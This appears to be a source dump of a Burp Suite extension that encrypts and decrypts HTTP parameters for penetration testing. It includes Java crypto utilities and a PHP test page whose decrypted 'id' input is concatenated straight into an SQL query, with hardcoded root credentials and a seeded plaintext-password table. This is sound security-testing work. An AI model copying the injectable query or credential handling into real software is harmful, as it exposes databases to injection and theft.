| for (int i = 0; i < length; i++) { 434 | String c = content.substring(i * 2, i * 2 + 2); 435 | int a = hexStringToAlgorism(c); 436 | char b = (char) a; 437 | String d = String.valueOf(b); 438 | result += d; 439 | } 440 | return result; 441 | } 442 | 443 | /** 444 | * 将十进制转换为指定长度的十六进制字符串 445 | * 446 | * @param algorism int 十进制数字 447 | * @param maxLength int 转换后的十六进制字符串长度 448 | * @return String 转换后的十六进制字符串 449 | */ 450 | public static String algorismToHexString(int algorism, int maxLength) { 451 | String result = ""; 452 | result = Integer.toHexString(algorism); 453 | 454 | if (result.length() % 2 == 1) { 455 | result = "0" + result; 456 | } 457 | return patchHexString(result.toUpperCase(), maxLength); 458 | } 459 | 460 | /** 461 | * 字节数组转为普通字符串(ASCII对应的字符) 462 | * 463 | * @param bytearray byte[] 464 | * @return String 465 | */ 466 | public static String byteToString(byte[] bytearray) { 467 | String result = ""; 468 | char temp; 469 | 470 | int length = bytearray.length; 471 | for (int i = 0; i < length; i++) { 472 | temp = (char) bytearray[i]; 473 | result += temp; 474 | } 475 | return result; 476 | } 477 | 478 | /** 479 | * 二进制字符串转十进制 480 | * 481 | * @param binary 二进制字符串 482 | * @return 十进制数值 483 | */ 484 | public static int binaryToAlgorism(String binary) { 485 | int max = binary.length(); 486 | int result = 0; 487 | for (int i = max; i > 0; i--) { 488 | char c = binary.charAt(i - 1); 489 | int algorism = c - '0'; 490 | result += Math.pow(2, max - i) * algorism; 491 | } 492 | return result; 493 | } 494 | 495 | /** 496 | * 十进制转换为十六进制字符串 497 | * 498 | * @param algorism int 十进制的数字 499 | * @return String 对应的十六进制字符串 500 | */ 501 | public static String algorismToHEXString(int algorism) { 502 | String result = ""; 503 | result = Integer.toHexString(algorism); 504 | 505 | if (result.length() % 2 == 1) { 506 | result = "0" + result; 507 | 508 | } 509 | result = result.toUpperCase(); 510 | 511 | return result; 512 | } 513 | 514 | /** 515 | * HEX字符串前补0,主要用于长度位数不足。 516 | * 517 | * @param str String 需要补充长度的十六进制字符串 518 | * @param maxLength int 补充后十六进制字符串的长度 519 | * @return 补充结果 520 | */ 521 | static public String patchHexString(String str, int maxLength) { 522 | String temp = ""; 523 | for (int i = 0; i < maxLength - str.length(); i++) { 524 | temp = "0" + temp; 525 | } 526 | str = (temp + str).substring(0, maxLength); 527 | return str; 528 | } 529 | 530 | /** 531 | * 将一个字符串转换为int 532 | * 533 | * @param s String 要转换的字符串 534 | * @param defaultInt int 如果出现异常,默认返回的数字 535 | * @param radix int 要转换的字符串是什么进制的,如16 8 10. 536 | * @return int 转换后的数字 537 | */ 538 | public static int parseToInt(String s, int defaultInt, int radix) { 539 | int i = 0; 540 | try { 541 | i = Integer.parseInt(s, radix); 542 | } catch (NumberFormatException ex) { 543 | i = defaultInt; 544 | } 545 | return i; 546 | } 547 | 548 | /** 549 | * 将一个十进制形式的数字字符串转换为int 550 | * 551 | * @param s String 要转换的字符串 552 | * @param defaultInt int 如果出现异常,默认返回的数字 553 | * @return int 转换后的数字 554 | */ 555 | public static int parseToInt(String s, int defaultInt) { 556 | int i = 0; 557 | try { 558 | i = Integer.parseInt(s); 559 | } catch (NumberFormatException ex) { 560 | i = defaultInt; 561 | } 562 | return i; 563 | } 564 | 565 | /** 566 | * 十六进制串转化为byte数组 567 | * 568 | * @return the array of byte 569 | */ 570 | public static byte[] hexToByte(String hex) 571 | throws IllegalArgumentException { 572 | System.out.println(hex); 573 | if (hex.length() % 2 != 0) { 574 | // System.out.println(hex.length()); 575 | throw new IllegalArgumentException(); 576 | } 577 | char[] arr = hex.toCharArray(); 578 | byte[] b = new byte[hex.length() / 2]; 579 | for (int i = 0, j = 0, l = hex.length(); i < l; i++, j++) { 580 | String swap = "" + arr[i++] + arr[i]; 581 | int byteint = Integer.parseInt(swap, 16) & 0xFF; 582 | b[j] = new Integer(byteint).byteValue(); 583 | } 584 | return b; 585 | } 586 | 587 | /** 588 | * 字节数组转换为十六进制字符串 589 | * 590 | * @param b byte[] 需要转换的字节数组 591 | * @return String 十六进制字符串 592 | */ 593 | public static String byteToHex(byte b[]) { 594 | if (b == null) { 595 | throw new IllegalArgumentException( 596 | "Argument b ( byte array ) is null! "); 597 | } 598 | String hs = ""; 599 | String stmp = ""; 600 | for (int n = 0; n < b.length; n++) { 601 | stmp = Integer.toHexString(b[n] & 0xff); 602 | if (stmp.length() == 1) { 603 | hs = hs + "0" + stmp; 604 | } else { 605 | hs = hs + stmp; 606 | } 607 | } 608 | return hs.toLowerCase(); 609 | //return hs.toUpperCase(); 610 | } 611 | 612 | public static byte[] subByte(byte[] input, int startIndex, int length) { 613 | byte[] bt = new byte[length]; 614 | for (int i = 0; i < length; i++) { 615 | bt[i] = input[i + startIndex]; 616 | } 617 | return bt; 618 | } 619 | } 620 | -------------------------------------------------------------------------------- /src/com/autoDecoder/util/codeEncode.java: -------------------------------------------------------------------------------- 1 | package com.autoDecoder.util; 2 | 3 | import burp.BurpExtender; 4 | 5 | import static com.autoDecoder.util.RSAencode.encrypt; 6 | import static com.autoDecoder.util.codeDecode.*; 7 | 8 | import java.io.PrintWriter; 9 | import java.net.URLDecoder; 10 | import java.net.URLEncoder; 11 | import java.nio.charset.Charset; 12 | import java.security.KeyPair; 13 | import java.util.Arrays; 14 | //import java.util.Base64; 15 | import burp.IndexautoDecoder; 16 | import cn.hutool.crypto.SecureUtil; 17 | import cn.hutool.crypto.SmUtil; 18 | import cn.hutool.crypto.asymmetric.KeyType; 19 | import cn.hutool.crypto.asymmetric.SM2; 20 | import cn.hutool.crypto.symmetric.SymmetricCrypto; 21 | import org.apache.commons.codec.Charsets; 22 | import org.apache.commons.codec.binary.Base64; 23 | import org.bouncycastle.jce.provider.BouncyCastleProvider; 24 | 25 | import java.nio.charset.StandardCharsets; 26 | import java.security.Key; 27 | import java.security.Security; 28 | import javax.crypto.Cipher; 29 | import javax.crypto.spec.IvParameterSpec; 30 | import javax.crypto.spec.SecretKeySpec; 31 | 32 | public class codeEncode { 33 | static{ 34 | Security.addProvider(new BouncyCastleProvider()); 35 | } 36 | public static void main(String[] args) throws Exception { 37 | 38 | // String a = encryptKeyivmode("{\"id\":\"1''\"}", 39 | // "f0ngtestf0ngtest","f0ngf0ngf0ngf0ng","AES","CBC","PKCS5Padding","Base64","无"); 40 | 41 | // String a = encryptKeyivmode("{\"mobile\":\"13888888888\"}", 42 | // "3d7bdda07326bb086de449838ec5c590","","SM4","ECB","PKCS5Padding","Hex","Hex"); 43 | // 44 | // System.out.println(a); 45 | // 46 | String aa = encryptKeyivmode("{\"wxOpenId\":\"\",\"account\":\"\",\"password\":\"\",\"request_seq\":\"ZJOSS202404191143432890846955\"}", 47 | "j6slh8xin3yfhqbxmx46n53p","j6slh8xin3yfhqbxmx46n53p","DESede","ECB","PKCS5Padding","Hex","null"); 48 | System.out.println(aa); 49 | 50 | // String aa = encryptKeyivmode("{\"mobile\":13812312355}\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000", 51 | // "1234567890123456","1234567890123456","AES","CBC","NoPadding","Base64","无"); 52 | // System.out.println(aa); 53 | 54 | // String a = encryptKeyivmode("{\"loginstate\":null,\"data\":[],\"object\":null,\"token\":null,\"code\":null," + 55 | // "\"resultStatus\":\"success\",\"messageCode\":1009,\"devMessage\":\"\",\"message\":\"操作失败\"," + 56 | // "\"clientStyle\":1,\"dataCount\":0,\"key\":null,\"zip\":false,\"requestInfo\":{\"responseTime\":1}," + 57 | // "\"authStatus\":3,\"enabled\":1}", "12345645678iaweb","1234567812345678","AES","CBC","NoPadding","Base64","null"); 58 | 59 | // String aa = encryptKeyivmode("{\"loginstate\":null,\"data\":[],\"object\":null,\"token\":null,\"code\":null,\"resultStatus\":\"success\",\"messageCode\":1009,\"devMessage\":\"\",\"message\":\"操作失败\",\"clientStyle\":1,\"dataCount\":0,\"key\":null,\"zip\":false,\"requestInfo\":{\"responseTime\":168022497401},\"authStatus\":3,\"enabled\":1}", "12345645678iaweb","1234567812345678","AES","CBC","NoPadding","Base64","null"); 60 | // String aa = encryptKeyivmode("123456", "1234567890123456","1234567890123456","AES","CBC","NoPadding","Base64","null"); 61 | 62 | // String aa = decryptKeyivmode("QEwd/DWmy/4yGncCqBofQQ==", "1234567890123456","1234567890123456","AES","CBC","NoPadding","Base64","null"); 63 | // System.out.println(aa); 64 | } 65 | 66 | // public static String byte2hex(final byte[] array) { 67 | // String s = ""; 68 | // for (int i = 0; i < array.length; ++i) { 69 | // final String hexString = Integer.toHexString(array[i] & 0xFF); 70 | // if (hexString.length() == 1) { 71 | // final StringBuilder sb = new StringBuilder(); 72 | // sb.append(s); 73 | // sb.append("0"); 74 | // sb.append(hexString); 75 | // s = sb.toString(); 76 | // } 77 | // else { 78 | // final StringBuilder sb2 = new StringBuilder(); 79 | // sb2.append(s); 80 | // sb2.append(hexString); 81 | // s = sb2.toString(); 82 | // } 83 | // } 84 | // return s.toUpperCase(); 85 | // } 86 | // public static byte[] byteMerger(final byte[] array, final byte[] array2) { 87 | // final byte[] array3 = new byte[array.length + array2.length]; 88 | // System.arraycopy(array, 0, array3, 0, array.length); 89 | // System.arraycopy(array2, 0, array3, array.length, array2.length); 90 | // return array3; 91 | // } 92 | 93 | // public static String encrypt2(byte[] array) { 94 | // try { 95 | // byte[] array2 = toByteArray(new String(array)); 96 | // 97 | // String key_str = "f7dd8981859e6b2932c72eddf39aec144dd43896ca95252f30293188fd033abc"; 98 | // String iv_str = "dfb04ad776cc1ff90ea26e441a3949db"; 99 | // byte[] iv = toByteArray(iv_str); 100 | // byte[] key = toByteArray(key_str); 101 | // final IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); 102 | // final SecretKeySpec secretKeySpec = new SecretKeySpec(key, "AES"); 103 | // final Cipher instance = Cipher.getInstance("AES/CFB/NoPadding"); 104 | // instance.init(1, secretKeySpec, ivParameterSpec); 105 | // String array3 = byte2hex(byteMerger(instance.getIV(), instance.doFinal(array))); 106 | // return array3; 107 | // } 108 | // catch (Exception ex) { 109 | // ex.printStackTrace(); 110 | // return null; 111 | // } 112 | // } 113 | 114 | // 将十六进制字符串转换为字节数组 115 | public static byte[] hexStringToByteArray(String hexString) { 116 | int len = hexString.length(); 117 | byte[] data = new byte[len / 2]; 118 | for (int i = 0; i < len; i += 2) { 119 | data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4) 120 | + Character.digit(hexString.charAt(i+1), 16)); 121 | } 122 | return data; 123 | } 124 | 125 | 126 | 127 | public static String encryptKeyivmode(String encryptedData,String sessionKey,String iv,String encodemode, String ivmode , String paddingmode ,String sSrcmode ,String keyivmode) throws Exception { 128 | encryptedData = encryptedData.trim(); 129 | 130 | Boolean zero = false; 131 | if (paddingmode.equals("ZeroPadding")) { 132 | paddingmode = "NoPadding"; 133 | zero = true; 134 | } 135 | 136 | if ( ivmode.equals("ECB") ) 137 | iv = ""; 138 | 139 | // BurpExtender.stdout.println(encodemode); 140 | if (encodemode.equals("null")) 141 | return encryptedData; 142 | else if (encodemode.equals("RSA")){ 143 | try { 144 | 145 | if (IndexautoDecoder.getRadioButton12State()) 146 | return URLEncoder.encode(encrypt(encryptedData, sessionKey), "utf-8"); 147 | else 148 | return encrypt(encryptedData, sessionKey); 149 | }catch (Exception e){ 150 | BurpExtender.stdout.println(Arrays.toString(e.getStackTrace())); 151 | return "RSA加密错误"; 152 | } 153 | } else if ( encodemode.equals("SM4") ){ // SM4加密 154 | // BurpExtender.stdout.println(encryptedData); 155 | // BurpExtender.stdout.println(sessionKey); 156 | // BurpExtender.stdout.println(iv); 157 | // BurpExtender.stdout.println(encodemode); 158 | // BurpExtender.stdout.println(ivmode); 159 | // BurpExtender.stdout.println(paddingmode); 160 | // BurpExtender.stdout.println(sSrcmode); 161 | // BurpExtender.stdout.println(keyivmode); 162 | byte[] data = null; 163 | byte[] aseKey; 164 | byte[] ivData; 165 | 166 | if (keyivmode.equals("Base64")) { 167 | aseKey = Base64.decodeBase64(sessionKey); 168 | ivData = Base64.decodeBase64(iv); 169 | } else if (keyivmode.equals("Hex")) { 170 | aseKey = hexToByteArray(sessionKey); 171 | ivData = hexToByteArray(iv); 172 | } else { 173 | aseKey = sessionKey.getBytes(StandardCharsets.UTF_8); 174 | ivData = iv.getBytes(StandardCharsets.UTF_8); 175 | } 176 | 177 | if ( ivmode.equals("ECB") ) { 178 | 179 | String s = Util.byteToHex(encryptedData.getBytes()); 180 | // System.out.println("原文" + s); 181 | SM4Utils sm42 = new SM4Utils(); 182 | //sm4.secretKey = "JeF8U9wHFOMfs2Y8"; 183 | sm42.secretKey = Util.byteToHex(aseKey); 184 | sm42.hexString = true; 185 | byte[] result = sm42.encryptData_ECB(encryptedData).getBytes(); 186 | String final_result = ""; 187 | 188 | if (sSrcmode.equals("Base64") ) { 189 | // System.out.println(Arrays.toString(hexStringToByteArray(new String(result)))); 190 | final_result = new String((result)).replace("\n", ""); 191 | System.out.println("final_result1:" + final_result); 192 | final_result = new String(Base64.encodeBase64(hexStringToByteArray(new String(result)))).replace("\n", ""); 193 | System.out.println("final_result:" + final_result); 194 | } 195 | 196 | if (sSrcmode.equals("null") || sSrcmode.equals("Hex") ) { 197 | final_result = new String((result)).replace("\n", ""); 198 | } 199 | 200 | return final_result; 201 | }else{ // CBC 202 | // String s = Util.byteToHex(encryptedData.getBytes()); 203 | // System.out.println("原文" + s); 204 | SM4Utils sm42 = new SM4Utils(); 205 | sm42.secretKey = Util.byteToHex(aseKey); 206 | sm42.hexString = true; 207 | sm42.iv = Util.byteToHex(ivData); 208 | byte[] result = sm42.encryptData_CBC(encryptedData).getBytes(); 209 | String final_result = ""; 210 | 211 | if (sSrcmode.equals("Base64")) { 212 | System.out.println((new String(result))); 213 | System.out.println(Arrays.toString(hexStringToByteArray(new String(result)))); 214 | final_result = new String(Base64.encodeBase64(hexStringToByteArray(new String(result)))).replace("\n", ""); 215 | 216 | } 217 | 218 | if (sSrcmode.equals("null") || sSrcmode.equals("Hex") ) { 219 | final_result = new String((result)).replace("\n", ""); 220 | } 221 | 222 | if (IndexautoDecoder.getRadioButton12State()) 223 | final_result = URLEncoder.encode(final_result, "utf-8"); 224 | 225 | return final_result; 226 | } 227 | 228 | } else if ( encodemode.equals("SM2") ){ 229 | try { 230 | SM2 sm2; 231 | 232 | if (sSrcmode.equals("Hex")){ 233 | sm2 = SmUtil.sm2(Base64.decodeBase64("MQ=="), hexToByteArray(sessionKey)); 234 | 235 | }else { 236 | 237 | sm2 = SmUtil.sm2(Base64.decodeBase64("MQ=="), Base64.decodeBase64(sessionKey)); 238 | } 239 | 240 | if (IndexautoDecoder.getRadioButton12State()) 241 | return URLEncoder.encode(sm2.encryptBcd(encryptedData, KeyType.PublicKey)); 242 | else 243 | return sm2.encryptBcd(encryptedData, KeyType.PublicKey); 244 | }catch (Exception e){ 245 | // BurpExtender.stdout.println(Arrays.toString(e.getStackTrace())); 246 | // System.out.println(Arrays.toString(e.getStackTrace())); 247 | // e.printStackTrace(); 248 | return "SM2加密错误"; 249 | } 250 | }else { 251 | try { 252 | byte[] data = null; 253 | byte[] aseKey; 254 | byte[] ivData; 255 | 256 | if (keyivmode.equals("null")) { 257 | if (encodemode.equals("DESede") ) { 258 | if (sessionKey.length() > 24) { 259 | sessionKey = sessionKey.substring(0, 24); 260 | } 261 | // if ( ivmode.equals("ECB") ){ 262 | // sessionKey = sessionKey.substring(0, 8); 263 | // }else { 264 | // iv = iv.substring(0, 8); 265 | // } 266 | } 267 | else if(encodemode.equals("DES")){ 268 | sessionKey = sessionKey.substring(0,8); 269 | if ( ivmode.equals("ECB") ){ 270 | sessionKey = sessionKey.substring(0, 8); 271 | }else { 272 | iv = iv.substring(0, 8); 273 | } 274 | } 275 | } 276 | 277 | data = encryptedData.getBytes(StandardCharsets.UTF_8); 278 | 279 | if (keyivmode.equals("Base64")) { 280 | aseKey = Base64.decodeBase64(sessionKey); 281 | ivData = Base64.decodeBase64(iv); 282 | } else if (keyivmode.equals("Hex")) { 283 | aseKey = hexToByteArray(sessionKey); 284 | ivData = hexToByteArray(iv); 285 | } else { 286 | // System.out.println(sessionKey); 287 | aseKey = sessionKey.getBytes(StandardCharsets.UTF_8); 288 | ivData = iv.getBytes(StandardCharsets.UTF_8); 289 | } 290 | 291 | 292 | 293 | IvParameterSpec ivParameterSpec = new IvParameterSpec(ivData); 294 | // Security.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); 295 | Cipher cipher = Cipher.getInstance(encodemode + "/" + ivmode + "/" + paddingmode); 296 | Key sKeySpec = new SecretKeySpec(aseKey, encodemode); 297 | //cipher.init(Cipher.ENCRYPT_MODE, sKeySpec,ivParameterSpec );// 初始化 298 | if (ivmode.equals("ECB") || ivmode.equals("GCM")) { // 如果为ECB模式,不进行偏移量加载 299 | cipher.init(Cipher.ENCRYPT_MODE, sKeySpec); 300 | } else { 301 | // try { 302 | cipher.init(Cipher.ENCRYPT_MODE, sKeySpec, ivParameterSpec); 303 | // }catch (Exception InvalidAlgorithmParameterException){ 304 | // 305 | // } 306 | } 307 | 308 | byte[] result = null ; 309 | if (zero) { 310 | result = cipher.doFinal(formatWithZeroPadding(data, cipher.getBlockSize())); 311 | }else{ 312 | // System.out.println(Arrays.toString(aseKey)); 313 | result = cipher.doFinal(data); 314 | } 315 | String final_result = ""; 316 | 317 | if (sSrcmode.equals("Base64") || sSrcmode.equals("null")) 318 | final_result = new String(Base64.encodeBase64(result)).replace("\n", ""); 319 | 320 | if (sSrcmode.equals("Hex")) 321 | final_result = bytesToHex(result); 322 | // BurpExtender.stdout.println(final_result); 323 | 324 | 325 | // if (IndexautoDecoder.getRadioButton12State()) 326 | // final_result = URLEncoder.encode(final_result, "utf-8"); 327 | 328 | return final_result; 329 | } catch (Exception e) { 330 | // BurpExtender.stdout.println(e); 331 | return "加密错误,请确认选项无误!"; 332 | } 333 | } 334 | } 335 | 336 | private static byte[] formatWithZeroPadding(byte[] data, final int blockSize) { 337 | final int length = data.length; 338 | final int remainLength = length % blockSize; 339 | 340 | if (remainLength > 0) { 341 | byte[] inputData = new byte[length + blockSize - remainLength]; 342 | System.arraycopy(data, 0, inputData, 0, length); 343 | return inputData; 344 | } 345 | return data; 346 | } 347 | 348 | 349 | 350 | // 字节数组转hex 351 | public static String bytesToHex(byte[] bytes) { 352 | StringBuffer sb = new StringBuffer(); 353 | for(int i = 0; i < bytes.length; i++) { 354 | String hex = Integer.toHexString(bytes[i] & 0xFF); 355 | if(hex.length() < 2){ 356 | sb.append(0); 357 | } 358 | sb.append(hex); 359 | } 360 | return sb.toString(); 361 | } 362 | 363 | 364 | } 365 | -------------------------------------------------------------------------------- /src/com/autoDecoder/util/test.java: -------------------------------------------------------------------------------- 1 | import java.util.Base64; 2 | 3 | public class test { 4 | 5 | // Base64 编码的字符串转换为十六进制字符串 6 | public static String base64ToHex(String base64String) { 7 | // 解码 Base64 字符串得到原始字节数据 8 | byte[] decodedBytes = Base64.getDecoder().decode(base64String); 9 | 10 | // 使用 StringBuilder 存储结果 11 | StringBuilder hexBuilder = new StringBuilder(); 12 | 13 | // 遍历字节数组,将每个字节转换为十六进制表示并拼接 14 | for (byte decodedByte : decodedBytes) { 15 | String hex = Integer.toHexString(0xff & decodedByte); 16 | if (hex.length() == 1) { 17 | hexBuilder.append('0'); // 如果是单个字符,前面补零 18 | } 19 | hexBuilder.append(hex); 20 | } 21 | 22 | // 返回最终的十六进制字符串 23 | return hexBuilder.toString(); 24 | } 25 | 26 | public static void main(String[] args) { 27 | // Base64 编码的字符串示例 28 | String base64String = "SGVsbG8gV29ybGQ="; // 等于 "Hello World" 的 Base64 编码 29 | 30 | // 转换为十六进制字符串 31 | String hexString = base64ToHex(base64String); 32 | 33 | // 打印结果 34 | System.out.println("Hex: " + hexString); 35 | } 36 | } -------------------------------------------------------------------------------- /src/main/resources/assembly.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | jar-with-dependences 4 | 5 | 6 | 7 | jar 8 | 9 | 10 | 11 | false 12 | 13 | 14 | 15 | 16 | 17 | true 18 | 19 | runtime 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | ${project.build.outputDirectory} 30 | 31 | / 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /src/model/IRequestIn.java: -------------------------------------------------------------------------------- 1 | package model; 2 | 3 | import burp.IParameter; 4 | import burp.IRequestInfo; 5 | 6 | import java.net.URL; 7 | import java.util.List; 8 | 9 | /** 10 | * @DESCRIPTION: 11 | * @USER: f0ng 12 | * @DATE: 2023/7/2 下午8:36 13 | */ 14 | public class IRequestIn implements IRequestInfo { 15 | @Override 16 | public String getMethod() { 17 | return null; 18 | } 19 | 20 | @Override 21 | public URL getUrl() { 22 | return null; 23 | } 24 | 25 | @Override 26 | public List getHeaders() { 27 | return null; 28 | } 29 | 30 | @Override 31 | public List getParameters() { 32 | return null; 33 | } 34 | 35 | @Override 36 | public int getBodyOffset() { 37 | return 0; 38 | } 39 | 40 | @Override 41 | public byte getContentType() { 42 | return 0; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /testsql.php: -------------------------------------------------------------------------------- 1 | decrypt(file_get_contents("php://input")); 6 | 7 | $mysql_server="localhost"; // 数据库地址,默认为3306 8 | 9 | $mysql_username="root"; // 数据库用户名 10 | 11 | $mysql_userpass="123456"; // 数据库密码 12 | 13 | $mysql_select_db="security"; // 数据库库名 14 | 15 | $evil_array = json_decode($mres,TRUE); 16 | 17 | $config=mysqli_connect($mysql_server,$mysql_username,$mysql_userpass,$mysql_select_db); 18 | 19 | $query = "select * from users where id = '".$evil_array['id']."'"; 20 | 21 | 22 | $result = mysqli_query( $config, $query) or die(mysqli_error($config)); 23 | 24 | $data = mysqli_fetch_all($result); // 从结果集中获取所有数据 25 | 26 | foreach($data as $v){ 27 | $values = array_values($v); 28 | $ids = array_keys($v); 29 | 30 | 31 | 32 | $mres3 = $des->encrypt($values[1]); //加密 33 | echo $mres3; 34 | } 35 | 36 | mysqli_close($config); 37 | 38 | 39 | mysql_error(); 40 | $mres = $des->encrypt($query); //加密 41 | 42 | class CryptDes { 43 | function __construct(){ 44 | $this->key = 'f0ngtest'; //密钥 45 | $this->iv = 'f0ngf0ng'; //偏移量 46 | } 47 | /* 48 | * 加密 49 | */ 50 | function encrypt($input){ 51 | $size = mcrypt_get_block_size(MCRYPT_DES,MCRYPT_MODE_CBC); //3DES加密将MCRYPT_DES改为MCRYPT_3DES 52 | $input = $this->pkcs5_pad($input, $size); //如果采用PaddingPKCS7,请更换成PaddingPKCS7方法。 53 | $key = str_pad($this->key,8,'0'); //3DES加密将8改为24 54 | $td = mcrypt_module_open(MCRYPT_DES, '', MCRYPT_MODE_CBC, ''); 55 | if( $this->iv == '' ) 56 | { 57 | $iv = @mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND); 58 | } 59 | else 60 | { 61 | $iv = $this->iv; 62 | } 63 | @mcrypt_generic_init($td, $key, $iv); 64 | $data = mcrypt_generic($td, $input); 65 | mcrypt_generic_deinit($td); 66 | mcrypt_module_close($td); 67 | $data = base64_encode($data);//如需转换二进制可改成 bin2hex 转换 68 | return $data; 69 | } 70 | /* 71 | * 解密 72 | */ 73 | function decrypt($encrypted){ 74 | $encrypted = base64_decode($encrypted); //如需转换二进制可改成 bin2hex 转换 75 | $key = str_pad($this->key,8,'0'); //3DES加密将8改为24 76 | $td = mcrypt_module_open(MCRYPT_DES,'',MCRYPT_MODE_CBC,'');//3DES加密将MCRYPT_DES改为MCRYPT_3DES 77 | if( $this->iv == '' ) 78 | { 79 | $iv = @mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND); 80 | } 81 | else 82 | { 83 | $iv = $this->iv; 84 | } 85 | $ks = mcrypt_enc_get_key_size($td); 86 | @mcrypt_generic_init($td, $key, $iv); 87 | $decrypted = mdecrypt_generic($td, $encrypted); 88 | mcrypt_generic_deinit($td); 89 | mcrypt_module_close($td); 90 | $y=$this->pkcs5_unpad($decrypted); 91 | return $y; 92 | } 93 | function pkcs5_pad ($text, $blocksize) { 94 | $pad = $blocksize - (strlen($text) % $blocksize); 95 | return $text . str_repeat(chr($pad), $pad); 96 | } 97 | function pkcs5_unpad($text){ 98 | $pad = ord($text{strlen($text)-1}); 99 | if ($pad > strlen($text)) { 100 | return false; 101 | } 102 | if (strspn($text, chr($pad), strlen($text) - $pad) != $pad){ 103 | return false; 104 | } 105 | return substr($text, 0, -1 * $pad); 106 | } 107 | function PaddingPKCS7($data) { 108 | $block_size = mcrypt_get_block_size(MCRYPT_DES, MCRYPT_MODE_CBC);//3DES加密将MCRYPT_DES改为MCRYPT_3DES 109 | $padding_char = $block_size - (strlen($data) % $block_size); 110 | $data .= str_repeat(chr($padding_char),$padding_char); 111 | return $data; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /users.sql: -------------------------------------------------------------------------------- 1 | /* 2 | Navicat Premium Data Transfer 3 | 4 | Source Server : localhost 5 | Source Server Type : MySQL 6 | Source Server Version : 50726 7 | Source Host : localhost:3306 8 | Source Schema : security 9 | 10 | Target Server Type : MySQL 11 | Target Server Version : 50726 12 | File Encoding : 65001 13 | 14 | Date: 28/08/2022 16:47:15 15 | */ 16 | 17 | SET NAMES utf8mb4; 18 | SET FOREIGN_KEY_CHECKS = 0; 19 | 20 | -- ---------------------------- 21 | -- Table structure for users 22 | -- ---------------------------- 23 | DROP TABLE IF EXISTS `users`; 24 | CREATE TABLE `users` ( 25 | `id` int(11) NOT NULL, 26 | `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL, 27 | `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL, 28 | PRIMARY KEY (`id`) USING BTREE 29 | ) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic; 30 | 31 | -- ---------------------------- 32 | -- Records of users 33 | -- ---------------------------- 34 | INSERT INTO `users` VALUES (1, 'Dumb', 'Dumb'); 35 | INSERT INTO `users` VALUES (2, 'Angelina', 'I-kill-you'); 36 | INSERT INTO `users` VALUES (3, 'Dummy', 'p@ssword'); 37 | INSERT INTO `users` VALUES (4, 'secure', 'crappy'); 38 | INSERT INTO `users` VALUES (5, 'stupid', 'stupidity'); 39 | INSERT INTO `users` VALUES (6, 'superman', 'genious'); 40 | INSERT INTO `users` VALUES (7, 'batman', 'mob!le'); 41 | INSERT INTO `users` VALUES (8, 'admin', 'admin'); 42 | INSERT INTO `users` VALUES (9, 'admin1', 'admin1'); 43 | INSERT INTO `users` VALUES (10, 'admin2', 'admin2'); 44 | INSERT INTO `users` VALUES (11, 'admin3', 'admin3'); 45 | INSERT INTO `users` VALUES (12, 'dhakkan', 'dumbo'); 46 | INSERT INTO `users` VALUES (14, 'admin4', 'admin4'); 47 | 48 | SET FOREIGN_KEY_CHECKS = 1; 49 | --------------------------------------------------------------------------------